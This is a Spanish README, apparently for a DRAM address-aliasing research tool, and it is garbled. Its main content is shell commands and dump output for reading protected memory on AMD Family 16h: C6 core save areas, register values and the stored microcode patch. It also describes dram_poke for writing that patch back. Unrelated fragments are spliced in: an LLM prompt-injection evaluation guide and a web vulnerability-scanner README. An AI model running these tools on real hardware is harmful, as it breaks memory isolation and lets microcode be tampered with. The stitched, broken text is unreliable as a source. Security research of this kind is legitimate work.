resulta ser una sugerencia cortés cuando podemos hablar directamente con el
controlador de DRAM.
Sustituye `2x4gb` por el prefijo en `data/maps/` que coincida con tus
DIMMs instalados (`sudo dmidecode -t memory`). Si tu topología no está ahí, ejecuta
`analysis/gather_aliases.py` y luego `analysis/unspaghettify.py` para generar
la tuya propia.
---
## Inicio rápido: desbloquear la DRAM de C6
> *No tengo ni idea de qué hay aquí y nunca lo he visto discutido, probablemente
> registros internos de la CPU. Diviértete.*
Cuando los núcleos entran en power-gate a C6, el contexto arquitectónico x86 completo de cada uno
se guarda aquí para su restauración.```sh
./userspace/platform_check || exit 1
# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
printf 'core %d ' $c
hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
🎯 Objetivos de la Evaluación
| Objetivo | Descripción | Métrica de Éxito |
|---|---|---|
| Detección de Prompt Injection | Identificar intentos de manipulación de instrucciones | >95% de precisión de detección |
| Prevención de Fuga de Datos | Bloquear la exposición no autorizada de información | 0% de fuga de datos sensibles |
| Resistencia a Jailbreak | Resistir intentos de eludir restricciones | >90% de tasa de bloqueo |
| Manejo de Entrada Adversaria | Procesar entradas maliciosas de forma segura | <1% de tasa de falsos positivos |
| Mantenimiento de Utilidad | Preservar la funcionalidad legítima | >98% de disponibilidad del servicio |
🔄 Flujo de Trabajo de la Evaluación
graph TD
A[Inicio de la Evaluación] --> B[Cargar Conjunto de Datos de Ataque]
B --> C[Inicializar Objetivo]
C --> D[Ejecutar Caso de Prueba]
D --> E{¿Ataque Exitoso?}
E -->|Sí| F[Registrar Vulnerabilidad]
E -->|No| G[Registrar Defensa]
F --> H[Generar Reporte]
G --> H
H --> I[Calcular Puntuaciones]
I --> J[Fin de la Evaluación]
📈 Interpretación de Resultados
Puntuaciones de Evaluación
| Puntuación | Nivel de Riesgo | Acción Recomendada |
|---|---|---|
| 90-100 | Excelente | Mantener las defensas actuales |
| 70-89 | Bueno | Monitorear y mejorar áreas específicas |
| 50-69 | Moderado | Implementar defensas adicionales |
| 30-49 | Alto | Remediación inmediata requerida |
| 0-29 | Crítico | Despliegue de emergencia necesario |
Métricas Clave
- Tasa de Éxito de Ataque (ASR): Porcentaje de ataques que eluden las defensas
- Tasa de Falsos Positivos (FPR): Porcentaje de entradas legítimas bloqueadas incorrectamente
- Tasa de Falsos Negativos (FNR): Porcentaje de ataques no detectados
- Latencia de Detección: Tiempo para identificar y bloquear amenazas
- Impacto en el Rendimiento: Degradación de la velocidad de respuesta debido a las defensas
🛠️ Herramientas y Frameworks
Frameworks de Evaluación
| Framework | Descripción | Enlace |
|---|---|---|
| Garak | Escáner de vulnerabilidades LLM | GitHub |
| PyRIT | Herramienta de identificación de riesgos de IA | GitHub |
| PromptInject | Framework de evaluación de inyección de prompts | GitHub |
| LLM Guard | Kit de herramientas de seguridad LLM | GitHub |
Conjuntos de Datos de Ataque
- AdvBench: Benchmark de comportamiento adversario
- HarmBench: Benchmark de evaluación de daños
- JailbreakBench: Colección de prompts de jailbreak
- Prompt Injection Dataset: Conjunto de datos de inyección de prompts curado
📚 Mejores Prácticas
Antes de la Evaluación
- Definir el Alcance: Identificar claramente los componentes del sistema a evaluar
- Establecer una Línea Base: Medir el rendimiento actual sin defensas
- Preparar Conjuntos de Datos: Recopilar y curar casos de prueba relevantes
- Configurar el Entorno: Asegurar un entorno de pruebas aislado
- Documentar Suposiciones: Registrar todas las suposiciones y limitaciones
Durante la Evaluación
- Monitorear el Progreso: Rastrear métricas en tiempo real
- Registrar Todo: Capturar entradas, salidas y decisiones de defensa
- Probar Casos Extremos: Incluir escenarios inusuales y límite
- Iterar Según Sea Necesario: Ajustar los casos de prueba según los hallazgos
- Mantener el Aislamiento: Evitar afectar los sistemas de producción
Después de la Evaluación
- Analizar Resultados: Identificar patrones y vulnerabilidades
- Priorizar Hallazgos: Enfocarse en los problemas de mayor riesgo
- Implementar Correcciones: Abordar las vulnerabilidades identificadas
- Reevaluar: Verificar que las correcciones sean efectivas
- Documentar Lecciones Aprendidas: Compartir conocimientos con el equipo```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
Un núcleo con el bit BSP activado, tres sin él — el procesador de arranque y sus tres
APs, sorprendidos en reposo con su estado de registros a la vista.
Cuanto más indagas, más registros de CPU empiezas a encontrar:
| offset | estado x86 | valor del núcleo 0 |
|---|---|---|
| `+0x8b0` | GS / base por CPU | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (raíz de la tabla de páginas) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | MTRR variable (base/máscara) | `0x6f000000 / …0800` |
| `+0xb10` | RIP guardado | `0xffffffff8f3a0029` |
Por supuesto, esos registros son accesibles desde ring-0 de todos modos. La
parte *divertida* está en todo el *otro* estado de CPU que reside ahí — hurgando en los registros
internos de la CPU que ring-0 no puede alcanzar.
---
## Inicio rápido: desbloquea el microcódigo de tu CPU
> *¿Qué podría salir mal?*
Cuando un núcleo entra en C6, su RAM de parches de microcódigo — SRAM volátil — se apaga junto con
el resto del núcleo. Así que el alijo de C6 mantiene el parche cargado en DRAM y lo vuelve a sembrar
al despertar. Esa copia reside en `+0x1800` en cada área de guardado, y el alias la alcanza
como cualquier otro byte.
Toma la copia del microcódigo que la CPU guardó en la DRAM cercada:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Compáralo con los parches conocidos:```sh
did we find it?
python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
Esta es una buena señal:```text
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- the microcode the core is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
Extrae las tríadas de ucode:```sh od -Ax -tx1 -w20 ucode_ram.bin
## 🧪 Ejemplos de uso
### Ejemplo 1: Escaneo básico de un objetivo
```bash
python3 vuln-scanner.py -t https://example.com
Salida:
[*] Escaneando https://example.com...
[+] Servidor: nginx/1.18.0
[+] Tecnologías detectadas: PHP, jQuery, Bootstrap
[!] Vulnerabilidad encontrada: XSS reflejado en el parámetro 'search'
[!] Vulnerabilidad encontrada: Divulgación de información en /.git/config
[*] Escaneo completado. Se encontraron 2 vulnerabilidades.
Ejemplo 2: Escaneo con autenticación
python3 vuln-scanner.py -t https://example.com -u admin -p password123 --cookie "session=abc123"
Ejemplo 3: Escaneo de múltiples objetivos
python3 vuln-scanner.py -f targets.txt --threads 10 --output results.json
Ejemplo 4: Escaneo de API
python3 vuln-scanner.py -t https://api.example.com --api-scan --swagger /swagger.json
📊 Formato de salida
El escáner admite múltiples formatos de salida:
| Formato | Bandera | Descripción |
|---|---|---|
| Texto | --output results.txt | Salida de texto legible por humanos |
| JSON | --output results.json | Salida JSON estructurada |
| HTML | --output results.html | Informe HTML con estilo |
| CSV | --output results.csv | Formato de valores separados por comas |
🔧 Opciones de configuración
El archivo de configuración config.yaml permite personalizar el comportamiento del escáner:
scanner:
timeout: 30
threads: 5
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
follow_redirects: true
verify_ssl: false
modules:
xss:
enabled: true
payloads: "payloads/xss.txt"
sqli:
enabled: true
payloads: "payloads/sqli.txt"
lfi:
enabled: true
payloads: "payloads/lfi.txt"
reporting:
format: "json"
output_dir: "./reports"
include_evidence: true
🛡️ Módulos de escaneo
Detección de XSS
El módulo XSS prueba parámetros de entrada con múltiples cargas útiles para detectar vulnerabilidades de cross-site scripting reflejado y almacenado.
Detección de SQL Injection
El módulo SQLi utiliza técnicas basadas en errores, booleanas y basadas en tiempo para identificar puntos de inyección SQL.
Detección de LFI
El módulo LFI intenta incluir archivos locales sensibles a través de parámetros vulnerables.
Detección de SSRF
El módulo SSRF prueba parámetros que aceptan URLs para detectar vulnerabilidades de server-side request forgery.
Divulgación de información
Este módulo busca archivos y directorios sensibles expuestos, como .git, .env, backup.sql y otros.```text
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a
000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0
000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27
[...]
000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
*
0005f0
Y ahí está, uops distintos arriba, relleno NOP repitiéndose abajo.
A partir de ahí, `dram_dump` tiene una herramienta hermana, `dram_poke`. El mismo alias que leyó el parche puede escribirlo — y esta copia es la que el núcleo recarga al salir del estado inactivo.
Lo que hagas a continuación depende de tu imaginación.
---
## Build```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
Uso
Ejecutar como root. Detalles completos en USAGE.md.
dram_read
Lectura simple desde una dirección de memoria protegida.
Introduce los cambios --do-swizzle / --do-bankswap en el controlador DRAM para
entrar en la vista de memoria espaguetizada, lee un dword desde la dirección física
<pa>, restaura los bits del DCT y devuelve el valor.```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
Escribe en un rango de memoria protegido.
Cada `--map` es una spaghettification resuelta de `unspaghettify.py --save-map`,
alimentada a su vez por pares de alias recopilados por `gather_aliases.py`; el alias para cada
dword en el rango protegido se recupera del mapa mediante una pseudo-inversa de GF(2)
calculada una vez al inicio. Pasa múltiples mapas — uno por
`(at_swizzle, at_bankswap)` recopilado en el mismo hardware — para ampliar la cobertura,
ya que cada spaghettification deja un conjunto diferente de huecos de rango deficiente y
el primer mapa que alcanza un dword dado gana.```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dump
Lee desde un rango de memoria protegido.
La misma maquinaria de --map que dram_poke: cada mapa es una espaguetificación resuelta
desde unspaghettify.py --save-map, el alias de cada dword se recupera mediante
una pseudo-inversa GF(2) de un solo paso, y múltiples mapas recopilados en diferentes
(at_swizzle, at_bankswap) amplían la cobertura donde los huecos de rango deficiente de un mapa son rellenados por los de otro.```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
La cadena de herramientas completa — `dram_state`, `dram_carveouts` y `dram_alias`; el pipeline de análisis `gather_aliases.py` / `unspaghettify.py`; ejemplos completos de extremo a extremo; y las tripas — está documentada en **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)**.
---
## El pipeline compartido
`skitter-creek-bath-salts` explora cómo las etapas finales de las transformaciones MCT/DCT pueden derribar la seguridad de todo lo construido por encima. El exploit demostrado aquí es un registro de configuración en AMD Family 16h, elegido porque las hojas de datos daban lo suficiente para empezar. El *pipeline* que rompió está en todas partes.
Entrelazado de canales, entrelazado de ranks, entrelazado de bancos, swizzle, normalización de chip-select — todo controlador de memoria moderno hace alguna versión de todo esto. AMD. Intel. ARM. RISC-V. Móvil. Servidor. Embebido. La misma forma arquitectónica subyace bajo todo.
*Por encima* de todo ello se asientan SEV, SGX, TDX, TrustZone, los realms de CCA, pKVM, CoVE, SEP, el PSP, ME, T-SEG, SMRAM, el stash de C6. Todo lo que reside en DRAM — incluso lo amurallado e invisible para ring-0 o para la propia CPU — descansa sobre las capas finales de un pipeline `*p` que apenas hemos empezado a explorar.
---
## Referencias
* Black Hat 2026 — Spaghettifying DRAM (Próximamente)
---
## Autor
`skitter-creek-bath-salts` es un esfuerzo de investigación de Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))
---

---